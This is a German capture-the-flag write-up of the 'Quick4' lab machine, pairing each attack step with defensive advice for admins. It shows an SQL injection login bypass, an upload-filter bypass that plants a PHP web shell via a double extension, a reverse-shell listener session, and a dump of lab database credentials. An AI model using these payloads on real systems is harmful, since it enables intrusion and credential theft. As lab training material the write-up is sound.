Analyse: Die Erkundung startet mit einem ARP-Scan, um aktive Geräte im lokalen Netzwerksegment zu finden.
Bewertung: Der Scan ist erfolgreich und identifiziert die Ziel-IP `192.168.2.125`. Die MAC-Adresse `08:00:27:aa:84:13` weist auf eine Oracle VirtualBox VM hin. Ein guter Startpunkt.
Empfehlung (Pentester): Notiere die IP und die VM-Information. Fahre mit Port-Scans auf die Ziel-IP fort.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit einschränken. Überwache auf ungewöhnliche ARP-Aktivitäten.
192.168.2.125 08:00:27:aa:84:13 PCS Systemtechnik GmbH
Analyse: Die lokale `/etc/hosts`-Datei wird editiert (`vi`), um der IP-Adresse `192.168.2.125` den Hostnamen `quick4.hmv` zuzuordnen.
Bewertung: Dies ist eine gängige und notwendige Maßnahme, um Webserver korrekt anzusprechen, falls diese auf Hostnamen basierende Konfigurationen (Virtual Hosts) verwenden.
Empfehlung (Pentester): Verwende den Hostnamen `quick4.hmv` für nachfolgende Web-Scans und -Interaktionen.
Empfehlung (Admin): Sorgen Sie für eine konsistente und sichere DNS-Auflösung im Netzwerk.
# Inhalt der /etc/hosts nach Bearbeitung: 127.0.0.1 localhost 192.168.2.125 quick4.hmv
Analyse: Ein schneller Nmap TCP SYN Scan (`-sS`) mit Versionserkennung (`-sV`), Aggressivem Scan (`-A`), schnellem Timing (`-T5`) über alle Ports (`-p-`) wird durchgeführt. Die Ausgabe wird gefiltert (`grep open`), um nur offene Ports anzuzeigen.
Bewertung: Der Scan identifiziert zwei offene TCP-Ports: * `22/tcp (SSH)`: OpenSSH 8.9p1 (Ubuntu). * `80/tcp (HTTP)`: Apache httpd 2.4.52 (Ubuntu). Dies definiert die primäre Angriffsfläche.
Empfehlung (Pentester): Untersuche beide Dienste. Priorität hat oft der Webserver (Port 80). Prüfe SSH auf bekannte Schwachstellen oder Standard-Credentials.
Empfehlung (Admin): Stellen Sie sicher, dass beide Dienste aktuell gepatcht und sicher konfiguriert sind. Schränken Sie den Zugriff per Firewall auf notwendige Quell-IPs ein.
22/tcp open ssh penSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
Analyse: Der gleiche Nmap-Scan wird erneut ausgeführt, diesmal mit vollständiger Ausgabe.
Bewertung: Die Detailausgabe liefert zusätzliche Informationen: * **SSH (22):** Zeigt die Host-Keys (ECDSA, ED25519). * **HTTP (80):** Apache 2.4.52 (Ubuntu). Der Seitentitel ist "Quick Automative - Home". Wichtig: Das Nmap-Skript `http-robots.txt` findet einen `Disallow`-Eintrag für `/admin/`. * **OS:** Wird als Ubuntu Linux erkannt.
Empfehlung (Pentester): Notiere den `/admin/`-Pfad aus `robots.txt` als potenzielles Ziel. Untersuche die Webseite auf Port 80. Prüfe OpenSSH 8.9p1 auf Schwachstellen (z.B. CVE-2023-38408, auch wenn Patches wahrscheinlich sind).
Empfehlung (Admin): Verlassen Sie sich nicht auf `robots.txt` zur Absicherung von Verzeichnissen; verwenden Sie stattdessen .htaccess oder Server-Konfigurationen. Halten Sie Apache und OpenSSH aktuell.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-11 22:59 CEST Nmap scan report for quick4.hmv (192.168.2.125) Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 2e:7a:1f:17:57:44:6f:7f:f9:ce:ab:a1:4f:cd:c7:19 (ECDSA) |_ 256 93:7e:d6:c9:03:5b:a1:ee:1d:54:d0:f0:27:0f:13:eb (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/admin/ |_http-title: Quick Automative - Home |_http-server-header: Apache/2.4.52 (Ubuntu) MAC Address: 08:00:27:AA:84:13 (racle VirtualBox virtual NIC) Aggressive S guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.5 (96%), Linux 5.0 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 5.4 (94%), Linux 2.6.32 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.10 (94%), Linux 5.3 - 5.4 (93%), Linux 3.4 - 3.10 (93%) No exact S matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.13 ms quick4.hmv (192.168.2.125) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.24 seconds
Analyse: `nikto` wird auf den Webserver (Port 80) ausgeführt, um nach bekannten Schwachstellen und Konfigurationsproblemen zu suchen.
Bewertung: Nikto liefert ähnliche Ergebnisse wie bei früheren Maschinen: * **Server:** Bestätigt Apache/2.4.52 (Ubuntu) und meldet ihn als veraltet. * **Fehlende Header:** `X-Frame-Options` und `X-Content-Type-Options`. * **robots.txt:** Erwähnt den Eintrag (Disallow: /admin/). * **IP/ETag Leaks:** Meldet die bekannten, geringfügigen Informationslecks. * **TRACE-Methode:** Nicht explizit erwähnt, aber `PTINS`-Methode wird gelistet (Nikto-Eigenheit). * **Directory Indexing:** Wird für `/css/` und `/images/` gefunden.
Empfehlung (Pentester): Bestätigt die Notwendigkeit, Apache zu untersuchen. Nutzen Sie das Directory Indexing, um Inhalte von `/css` und `/images` zu prüfen. Notieren Sie die anderen Findings.
Empfehlung (Admin): **Apache aktualisieren.** Header implementieren. Directory Indexing deaktivieren (`Options -Indexes`). ETag/IP-Leaks beheben. TRACE-Methode prüfen und ggf. deaktivieren.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.125 + Target Hostname: 192.168.2.125 + Target Port: 80 + Start Time: 2024-05-11 22:59:40 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.52 (Ubuntu) + /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt + /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed + /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649 + /: Server may leak inodes via ETags, header found with file /, inode: c8d6, size: 6103122781180, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD . + /css/: Directory indexing found. + /css/: This might be interesting. + /images/: Directory indexing found. + 8103 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2024-05-11 22:59:52 (GMT2) (12 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `gobuster` wird für einen umfassenden Verzeichnis- und Dateiscan auf Port 80 verwendet.
Bewertung: Der Scan findet eine Reihe von Verzeichnissen und Dateien, die typisch für eine Webanwendung sind: `/images/`, `/index.html`, `/img/`, `/modules/`, `/careers/`, `/css/`, `/lib/`, `/js/`, `/customer/`, `/404.html`, `/robots.txt`, `/fonts/`. Die Verzeichnisse `/careers/` und `/customer/` sind neben `/admin/` (aus robots.txt) die interessantesten neuen Funde.
Empfehlung (Pentester): Untersuche die Verzeichnisse `/customer/` und `/careers/` sowie den bereits bekannten `/admin/`-Pfad (trotz "Not Found"). Analysiere den Inhalt von `robots.txt`.
Empfehlung (Admin): Stellen Sie sicher, dass alle Webverzeichnisse und -dateien nur die notwendigen Berechtigungen haben und keine sensiblen Informationen enthalten.
http://192.168.2.125/images (Status: 301) [Size: 315] [--> http://192.168.2.125/images/] http://192.168.2.125/index.html (Status: 200) [Size: 51414] http://192.168.2.125/img (Status: 301) [Size: 312] [--> http://192.168.2.125/img/] http://192.168.2.125/modules (Status: 301) [Size: 316] [--> http://192.168.2.125/modules/] http://192.168.2.125/careers (Status: 301) [Size: 316] [--> http://192.168.2.125/careers/] http://192.168.2.125/css (Status: 301) [Size: 312] [--> http://192.168.2.125/css/] http://192.168.2.125/lib (Status: 301) [Size: 312] [--> http://192.168.2.125/lib/] http://192.168.2.125/js (Status: 301) [Size: 311] [--> http://192.168.2.125/js/] http://192.168.2.125/customer (Status: 301) [Size: 317] [--> http://192.168.2.125/customer/] http://192.168.2.125/404.html (Status: 200) [Size: 5014] http://192.168.2.125/robots.txt (Status: 200) [Size: 32] http://192.168.2.125/fonts (Status: 301) [Size: 314] [--> http://192.168.2.125/fonts/]
Analyse: Informationen, die durch manuelles Browsen der Webseite (`http://192.168.2.125/`) gesammelt wurden. Es werden Kontakt-E-Mail-Adressen und Namen von Teammitgliedern aufgelistet.
Bewertung: Liefert weitere potenzielle Benutzernamen und E-Mail-Adressen für verschiedene Abteilungen (`book`, `info`, `tech`) und spezifische Mitarbeiter (`Andrew Speed`, `Jeff Anderson`, `Lee Ka-shing`, `Coos Busters`, `Lara Johnson`, `Mike Cooper`, `John Smith`, `Juan Mecánico`). Diese Liste ist wertvoll für Brute-Force- oder Passwort-Spraying-Angriffe auf SSH oder Web-Logins.
Empfehlung (Pentester): Füge diese Namen und E-Mail-Präfixe zur Liste potenzieller Benutzernamen hinzu.
Empfehlung (Admin): Seien Sie sich bewusst, welche Informationen auf der Webseite preisgegeben werden. Verwenden Sie generische Kontaktadressen statt direkter Mitarbeiter-E-Mails, wenn möglich. Schulen Sie Mitarbeiter bezüglich Phishing.
# Informationen von http://192.168.2.125/ // Booking // book@quick.hmv // General // info@quick.hmv // Technical // tech@quick.hmv // Our Team // Our Experts Andrew Speed CEO Jeff Anderson CFO Lee Ka-shing Sales Coos Busters Sales Lara Johnson Receptionist Mike Cooper Car mechanic John Smith Car mechanic Juan Mecánico
Analyse: Der Inhalt von `robots.txt` wird angezeigt. Anschließend wird versucht, auf `/admin/` zuzugreifen, was zu "PAGE NOT FOUND" führt. Es wird auch eine Fehlermeldung "Invalid email or password" erwähnt, die vermutlich von einem anderen Login-Versuch stammt (z.B. im `/customer` oder `/employee` Bereich).
Bewertung: `robots.txt` verbietet `/admin/`. Der fehlgeschlagene Zugriff bestätigt, dass dieser Pfad entweder nicht existiert oder geschützt ist. Die "Invalid email or password"-Meldung deutet auf ein funktionierendes Login-Formular an anderer Stelle hin.
Empfehlung (Pentester): Ignoriere `/admin/` vorerst. Konzentriere dich auf andere gefundene Bereiche wie `/customer/` oder suche nach `/employee/`. Teste gefundene Logins mit den gesammelten Benutzernamen.
Empfehlung (Admin): Verwenden Sie `robots.txt` nicht zur Sicherheit. Schützen Sie administrative Bereiche mit starker Authentifizierung und Zugriffskontrolle. Geben Sie generische Fehlermeldungen bei Login-Fehlern aus.
# Inhalt von http://192.168.2.125/robots.txt User-agent: * Disallow: /admin/ # Ergebnis des Zugriffs auf http://192.168.2.125/admin/ PAGE NOT FOUND # Fehlermeldung von einem anderen Login-Versuch Invalid email or password
Analyse: Ein Verzeichnis-/Dateiscan (vermutlich `gobuster` oder `dirsearch`) wird gezielt auf das Verzeichnis `/customer/` ausgeführt.
Bewertung: Der Scan findet mehrere PHP-Dateien innerhalb von `/customer/`: `index.php`, `contact.php`, `login.php` (Status 500 - Internal Server Error), `user.php`, `cars.php`, `logout.php`, `config.php` (Status 200, Size 0), `dashboard.php`, `remove.php`. Außerdem werden Standardverzeichnisse (`images`, `modules`, `css`, `js`, `fonts`) und `script.js` gefunden. * `login.php` mit Status 500 ist verdächtig. * `config.php` mit Größe 0 ist enttäuschend, normalerweise ein guter Fundort für Credentials. * Die Existenz von `dashboard.php`, `user.php`, `cars.php` deutet auf eine Kundenportal-Funktionalität hin.
Empfehlung (Pentester): Untersuche `login.php` genauer (warum 500?). Prüfe `contact.php` und andere zugängliche PHP-Dateien auf Schwachstellen (LFI, RFI, XSS, SQLi). Auch wenn `config.php` leer ist, könnte sie in anderen Skripten inkludiert werden. Suche nach einem anderen Admin-Bereich (z.B. `/employee/`).
Empfehlung (Admin): Beheben Sie den 500-Fehler auf `login.php`. Stellen Sie sicher, dass alle PHP-Skripte sicher sind (Input-Validierung, Output-Encoding, keine Schwachstellen). Sichern Sie Konfigurationsdateien angemessen.
# Scan-Ergebnisse für http://192.168.2.125/customer/ http://192.168.2.125/customer/index.php (Status: 200) [Size: 2172] http://192.168.2.125/customer/images (Status: 301) [Size: 324] [--> http://192.168.2.125/customer/images/] http://192.168.2.125/customer/contact.php (Status: 302) [Size: 35199] [--> index.php] http://192.168.2.125/customer/login.php (Status: 500) [Size: 0] http://192.168.2.125/customer/user.php (Status: 302) [Size: 17047] [--> index.php] http://192.168.2.125/customer/modules (Status: 301) [Size: 325] [--> http://192.168.2.125/customer/modules/] http://192.168.2.125/customer/css (Status: 301) [Size: 321] [--> http://192.168.2.125/customer/css/] http://192.168.2.125/customer/cars.php (Status: 302) [Size: 18015] [--> index.php] http://192.168.2.125/customer/js (Status: 301) [Size: 320] [--> http://192.168.2.125/customer/js/] http://192.168.2.125/customer/logout.php (Status: 302) [Size: 0] [--> index.php] http://192.168.2.125/customer/config.php (Status: 200) [Size: 0] http://192.168.2.125/customer/script.js (Status: 200) [Size: 372] http://192.168.2.125/customer/fonts (Status: 301) [Size: 323] [--> http://192.168.2.125/customer/fonts/] http://192.168.2.125/customer/dashboard.php (Status: 302) [Size: 9098] [--> index.php] http://192.168.2.125/customer/remove.php (Status: 302) [Size: 0] [--> cars.php]
Analyse: Es wird auf `/employee/admin.php` zugegriffen (wahrscheinlich durch Raten oder weitere Scans gefunden). Die E-Mail `info@quick.hmv` (von der Startseite) und der SQL-Injection-Payload `' OR 1=1 -- -` werden erwähnt.
Bewertung: Dies deutet stark auf eine erfolgreiche SQL-Injection im Login-Formular von `/employee/admin.php` hin. Durch Eingabe einer gültigen E-Mail (oder eines beliebigen Benutzernamens) und des Payloads im Passwortfeld konnte die Authentifizierung umgangen werden, da die SQL-Abfrage vermutlich so manipuliert wurde, dass sie immer wahr ist (`OR 1=1`). Der Zugriff auf den Mitarbeiterbereich (`/employee/`) wurde erlangt.
Empfehlung (Pentester): Bestätige die SQLi mit Tools wie `sqlmap`. Nutze die SQLi, um die Datenbankstruktur zu enumerieren, Tabellen (insbesondere Benutzer/Passwörter) zu dumpen und potenziell eine Webshell über Datenbankfunktionen zu erhalten (z.B. `INTO OUTFILE`). Erkunde den `/employee/`-Bereich nach weiteren Funktionen.
Empfehlung (Admin): **Beheben Sie die SQL-Injection-Schwachstelle sofort!** Verwenden Sie ausschließlich Prepared Statements (parametrisierte Abfragen) für alle Datenbankinteraktionen. Sanitisieren Sie alle Benutzereingaben serverseitig. Führen Sie regelmäßige Code-Audits durch.
# Zugriff auf /employee/admin.php (vermutlich) # Versuchter Login mit: Email: info@quick.hmv Passwort: ' OR 1=1 -- - # Ergebnis: Erfolgreicher Login / Zugriff auf Mitarbeiterbereich
Analyse: Nach dem Login in den Mitarbeiterbereich (vermutlich durch SQLi) werden die Seiten `/employee/insert_employee.php` und `/employee/manageemployees.php` entdeckt.
Bewertung: Diese Seiten deuten auf Funktionen zum Hinzufügen und Verwalten von Mitarbeitern hin. Insbesondere die `manageemployees.php`-Seite könnte interessant sein, da sie oft Funktionen wie das Bearbeiten von Profilen oder das Hochladen von Profilbildern enthält.
Empfehlung (Pentester): Untersuche `manageemployees.php` auf eine Upload-Funktion für Profilbilder oder andere Dateien.
Empfehlung (Admin): Stellen Sie sicher, dass alle Funktionen im Mitarbeiterbereich ordnungsgemäß authentifiziert und autorisiert sind und keine weiteren Schwachstellen enthalten.
# Gefundene Seiten im Mitarbeiterbereich: http://192.168.2.125/employee/insert_employee.php http://192.168.2.125/employee/manageemployees.php
Analyse: Eine POST-Anfrage an `/employee/manageemployees.php` wird gezeigt, vermutlich abgefangen mit Burp Suite. Die Anfrage enthält Formulardaten (`multipart/form-data`) zum Hochladen eines Fotos (`name="fileToUpload"`) für einen Benutzer (`user_id=3`). Entscheidend ist, dass als Dateiname `rev.php` angegeben wird, der Content-Type auf `image/jpeg` gesetzt ist und der Dateiinhalt mit `GIF89a` beginnt, gefolgt von PHP-Code (``).
Bewertung: Dies zeigt eine klassische Umgehung eines unsicheren Dateiupload-Filters: 1. Der Filter prüft wahrscheinlich nur den `Content-Type`-Header (`image/jpeg`), der hier manipuliert wird. 2. Möglicherweise wird auch der Dateianfang auf Magic Bytes geprüft (`GIF89a`), weshalb diese hinzugefügt wurden. 3. Die Dateiendung (`.php` in `filename="rev.php"`) wird anscheinend nicht ausreichend validiert oder kann manipuliert werden. Das Ergebnis ist der erfolgreiche Upload einer PHP-Webshell, getarnt als Bild.
Empfehlung (Pentester): Finde den Speicherort der hochgeladenen Datei (oft in einem `/uploads/`-Verzeichnis, möglicherweise mit der `user_id` im Namen) und rufe sie über den Browser auf, um die Webshell auszuführen.
Empfehlung (Admin): Implementieren Sie eine sichere Upload-Validierung, die serverseitig die Dateiendung (Whitelist!), den MIME-Typ (aus dem Inhalt, nicht nur dem Header) und idealerweise den Dateiinhalt selbst prüft. Verhindern Sie das Ausführen von Skripten im Upload-Verzeichnis. Speichern Sie Uploads idealerweise außerhalb des Web-Roots und/oder mit zufälligen Namen ohne die ursprüngliche Endung.
# Abgefangene POST-Anfrage (z.B. mit Burp Suite) PST /employee/manageemployees.php HTTP/1.1 Host: 192.168.2.125 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------64702681437563696413122058420 Content-Length: 498 rigin: http://192.168.2.125 Connection: close Referer: http://192.168.2.125/employee/manageemployees.php Cookie: PHPSESSID=66h3ddnu30l095bf4oqgslgvi6 Upgrade-Insecure-Requests: 1 -----------------------------64702681437563696413122058420 Content-Disposition: form-data; name="user_id" 3 -----------------------------64702681437563696413122058420 Content-Disposition: form-data; name="fileToUpload"; filename="rev.php" Content-Type: image/jpeg GIF89a -----------------------------64702681437563696413122058420 Content-Disposition: form-data; name="submit" Upload Photo -----------------------------64702681437563696413122058420--
Analyse: Ein Ausschnitt des HTML-Codes der Mitarbeiterseite (`manageemployees.php` oder eine ähnliche Seite nach dem Login) wird gezeigt. Er enthält Hinweise auf JavaScript-Dateien, einen Benutzer "Nick Greenhorn" (wahrscheinlich User ID 2) und einen Bildpfad `uploads/2_admin.png`. Es wird auch versucht, auf `/employee/uploads/2_shell.php?cmd=id` zuzugreifen, was zu "PAGE NOT FOUND" führt.
Bewertung: Der HTML-Code bestätigt das Upload-Verzeichnis (`uploads/`) innerhalb des `/employee/`-Pfades und das Namensschema (`{user_id}_{original_filename}`). Der fehlgeschlagene Zugriff auf `2_shell.php` deutet darauf hin, dass die hochgeladene Datei möglicherweise umbenannt wurde oder die Endung geändert wurde.
Empfehlung (Pentester): Versuche verschiedene Namenskombinationen basierend auf dem Schema und der hochgeladenen Datei. Da die Datei als `.jpeg` hochgeladen wurde, versuche Pfade wie `/employee/uploads/3_rev.jpeg` (da user_id 3 verwendet wurde) oder `/employee/uploads/2_rev.jpeg` (falls der User ID geändert wurde oder es User ID 2 betraf). Teste auch auf doppelte Endungen wie `.jpeg.php`.
Empfehlung (Admin): Implementieren Sie eine sichere Dateiumbenennung beim Upload (z.B. mit zufälligen Namen oder Hashes) und speichern Sie den ursprünglichen Namen separat, falls benötigt. Verhindern Sie das direkte Browsen von Upload-Verzeichnissen.
# HTML-Ausschnitt aus dem Mitarbeiter-PortalNick Greenhorn Logout # Versuchter Zugriff auf Webshell (1) http://192.168.2.125/employee/uploads/2_shell.php?cmd=id --> PAGE NOT FOUND
Analyse: Es werden weitere Versuche unternommen, auf die hochgeladene Webshell zuzugreifen. 1. `curl http://192.168.2.125/employee/uploads/2_revshell.jpeg`: Greift auf die Datei mit der `.jpeg`-Endung zu. Die Ausgabe zeigt den PHP-Code, beginnend mit `GIF89a`. 2. `curl http://192.168.2.125/employee/uploads/2_revshell.jpeg.php`: Greift auf die Datei mit einer **doppelten Endung** `.jpeg.php` zu. 3. Ein Netcat-Listener wird auf Port 4445 gestartet. Nach dem Aufruf der `.jpeg.php`-URL (implizit) wird eine Verbindung empfangen.
Bewertung: Erfolg durch doppelte Endung! Der Server interpretiert `.jpeg.php` als PHP-Datei und führt den Code aus. Der `curl`-Befehl auf die `.jpeg`-Datei bestätigt, dass der PHP-Code korrekt hochgeladen wurde. Die Reverse Shell wird erfolgreich zum Listener aufgebaut. **RCE als `www-data` ist etabliert.**
Empfehlung (Pentester): Stabilisiere die Shell (`/bin/sh` erhalten). Beginne mit der Enumeration als `www-data`.
Empfehlung (Admin): **Upload-Mechanismus dringend fixen!** Insbesondere die Handhabung von Dateiendungen und die Serverkonfiguration (z.B. `AddHandler`-Direktiven in Apache), die die Ausführung von `.jpeg.php` erlaubt, müssen korrigiert werden.
GIF89a
# (Keine direkte Ausgabe, löst aber die Reverse Shell aus)
listening on [any] 4445 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 36270 Linux quick4 5.15.0-92-generic #102-Ubuntu SMP Wed Jan 10 09:33:48 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux 22:39:33 up 1:40, 0 users, load average: 0.07, 0.09, 0.44 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: Dieser POC fasst die Schritte zur Erlangung von Remote Code Execution als `www-data` über SQL-Injection und eine unsichere Dateiupload-Funktion zusammen.
Schwachstellen:
Voraussetzungen: Webzugriff auf Port 80. Kenntnis der Mitarbeiter-Login-Seite (`/employee/admin.php`).
Schritte zur Reproduktion:
Erwartetes Ergebnis: Eine Reverse Shell wird zum Listener aufgebaut, die als Benutzer `www-data` läuft.
Empfehlung (Admin): Beheben Sie die SQL-Injection-Schwachstelle durch Verwendung von Prepared Statements. Implementieren Sie einen sicheren Dateiupload-Mechanismus (Whitelist, Inhaltsvalidierung, keine Ausführung im Upload-Ordner, zufällige Namen). Korrigieren Sie die Apache-Konfiguration bezüglich ausführbarer Endungen.
Analyse: In der `www-data`-Shell wird die Datei `/var/www/html/customer/config.php` ausgelesen. Anschließend wird versucht, sich als `root` mit `su` anzumelden (scheitert). Danach wird mit den gefundenen Credentials eine Verbindung zur lokalen MySQL-Datenbank aufgebaut, Datenbanken und Tabellen aufgelistet und der Inhalt der `users`-Tabelle ausgegeben.
Bewertung: `config.php` enthält die MySQL-Credentials: Benutzer `root`, Passwort `fastandquicktobefaster`. Dies ist ein kritischer Fund. Der Login zur Datenbank gelingt. Die `users`-Tabelle in der `quick`-Datenbank enthält eine Liste von Benutzern (Kunden, Mitarbeiter, Admins) mit ihren **Passwörtern im Klartext**. Dies ist eine extrem schwerwiegende Sicherheitslücke. Viele Benutzer (`nick.greenhorn`, `andrew.speed`, `benni`, `admin`) verwenden das gleiche schwache Passwort "benni".
Empfehlung (Pentester): Dokumentiere alle gefundenen Credentials. Teste diese systematisch gegen SSH und andere gefundene Dienste/Logins. Das Passwort des Datenbank-`root`-Benutzers könnte auch das System-`root`-Passwort sein (testen!).
Empfehlung (Admin): **Ändern Sie sofort das MySQL-Root-Passwort!** **Hashen Sie alle Passwörter in der Datenbank** mit einem modernen, starken Algorithmus (z.B. bcrypt, Argon2) und Salt. **Speichern Sie niemals Datenbank-Credentials in Klartext** in Webdateien; verwenden Sie Umgebungsvariablen oder sicherere Konfigurationsmethoden. Sorgen Sie dafür, dass der Webserver-Benutzer (`www-data`) keine unnötigen Leserechte auf Konfigurationsdateien hat. Schulen Sie Benutzer bzgl. starker, einzigartiger Passwörter.
fastandquicktobefaster', 'quick'); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } ?>
Password: su: Authentication failure
Enter password: fastandquicktobefaster Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 504951 Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu) Copyright (c) 2000, 2024, racle and/or its affiliates. racle is a registered trademark of racle Corporation and/or its affiliates. ther names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | quick | | sys | +--------------------+ 5 rows in set (0.01 sec) mysql> use quick; Database changed mysql> show tables; +-----------------+ | Tables_in_quick | +-----------------+ | cars | | users | +-----------------+ 2 rows in set (0.01 sec) mysql> select * from users; +----+-----------------------------------+-----------------+--------------------+----------+-----------------------------+ | id | email | name | password | role | profile_picture | +----+-----------------------------------+-----------------+--------------------+----------+-----------------------------+ | 1 | info@quick.hmv | Quick | Qe62W064sgRTdxAEpr | admin | uploads/1_admin.png | | 2 | nick.greenhorn@quick.hmv | Nick Greenhorn | benni | employee | uploads/2_revshell.jpeg.php | | 3 | andrew.speed@quick.hmv | Andrew Speed | benni | employee | uploads/3_rev.php | | 4 | jack.black@email.hmv | Jack Black | 1Wd35lRnAKMGMEwcsX | customer | | | 5 | mike.cooper@quick.hmv | Mike Cooper | Rh978db3URen64yaPP | employee | uploads/5_mike.jpg | | 6 | j.doe@email.hmv | John Doe | 0i3a8KyWS2IcbmqF02 | customer | | | 7 | jane_smith@email.hmv | Jane Smith | pL2a92Po2ykXytzX7y | customer | | | 8 | frank@email.hmv | Frank Stein | 155HseB7sQzIpE2dIG | customer | | | 9 | fred.flinstone@email.hmv | Fred Flinstone | qM51130xeGHHxKZWqk | customer | | | 10 | s.hutson@email.hmv | Sandra Hutson | sF217VruHNj6wbjofU | customer | | | 11 | b.clintwood@email.hmv | Bill Clintwood | 2yLw53N0m08hFyBXx | customer | | | 12 | j.bond@email.hmv | James Bond | 7wS93MQPiVQUkqfQ5T | customer | | | 13 | d.trumpet@email.hmv | Donald Trumpet | f64KBw7cGvu1BkVwcb | customer | | | 14 | m.monroe@email.hmv | Michelle Monroe | f64KBw7cGvu1BkVwcb | customer | | | 15 | jeff.anderson@quick.hmv | Jeff Anderson | 5dX3g8hnKo7AFNHXTV | employee | uploads/15_jeff.jpg | | 16 | lee.ka-shingn@quick.hmv@quick.hmv | Lee Ka-shing | am636X6Rh1u6S8WNr4 | employee | uploads/16_lee.jpg | | 17 | laura.johnson@email.hmv | Laura Johnson | 95T3mjV3gublmR7Z | customer | | | 18 | coos.busters@quick.hmv | Coos Busters | f1CD3u3XVo0uXumGah | employee | uploads/18_coos.jpg | | 19 | n.down@email.hmv | Neil Down | Lj9Wr562vqNuLlkTr0 | customer | | | 20 | t.green@email.hmv | Teresa Green | 7zQ19L0HhFsivH3zFi | customer | | | 21 | k.ball@email.hmv | Krystal Ball | k1TI68MmYu8uQHhfS1 | customer | | | 22 | juan.mecanico@quick.hmv | Juan Mecánico | 5a34pXYDAUMZCoPrg | employee | uploads/22_juan.jpg | | 23 | john.smith@quick.hmv | John Smith | 5Wqio90BLd7i4oBMXJ | employee | uploads/23_john.jpg | | 24 | misty.cupp@email.hmv | Misty Cupp | c1P35bcdw0mF3ExJXG | customer | | | 25 | lara.johnson@quick.hmv | Lara Johnson | 5Y7zypv8tl9N7TeCFp | employee | uploads/25_lara.jpg | | 26 | j.daniels@email.hmv | James Daniels | yF891teFhjhj0Rg7ds | customer | | | 27 | dick_swett@email.hmv | Dick Swett | y6KA4378EbK0ePv5XN | customer | | | 28 | a.lucky@email.hmv | Anna Lucky | c1P35bcdw0mF3ExJXG | customer | | | 29 | benni@hacker.de | benni | benni | customer | | | 30 | admin@quick.hmv | admin | benni | customer | | +----+-----------------------------------+-----------------+--------------------+----------+-----------------------------+ 30 rows in set (0.00 sec) mysql> exit Bye
Analyse: Das `/home`-Verzeichnis wird aufgelistet, und die User-Flag-Datei (`user.txt`) wird angezeigt. Der Inhalt besteht aus ASCII-Art und der Flag.
Bewertung: Die User-Flag `HMV{7920c4596aad1b9826721f4cf7ca3bf0}` wird erfolgreich aus `/home/user.txt` gelesen. Die ASCII-Art ist ein nettes Gimmick. Es ist unklar, welchem Benutzer die Flag eigentlich gehört, da sie direkt in `/home` liegt, aber als `www-data` konnten wir sie lesen.
Empfehlung (Pentester): User-Flag dokumentieren. Konzentriere dich auf Privilege Escalation.
Empfehlung (Admin): Speichern Sie Flags oder sensible Daten nicht direkt im `/home`-Verzeichnis mit unsicheren Berechtigungen. Ordnen Sie sie den jeweiligen Benutzerverzeichnissen zu und schützen Sie diese.
andrew coos jeff john juan lara lee mike nick user.txt
██████ █████ █████ █████ █████████ █████ ████ █████ █████
██████ ███ ███ ███ █████████ ███ ███ ███
███ ███ ███ ███ ███ ███ ███ ███ ███ ███ █
███ ███ ███ ███ ███ ███ ███████ ███████████
███ █████ ███ ███ ███ ███ ██████ ████
███ ████ ███ ███ ███ ███ ███ ███ ███ ███
████████ ████████ █████ █████████ █████ ████ █████
%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#
@@@: .::. :%@@@@@@@@@@@@@@@@@@@@@@@@@
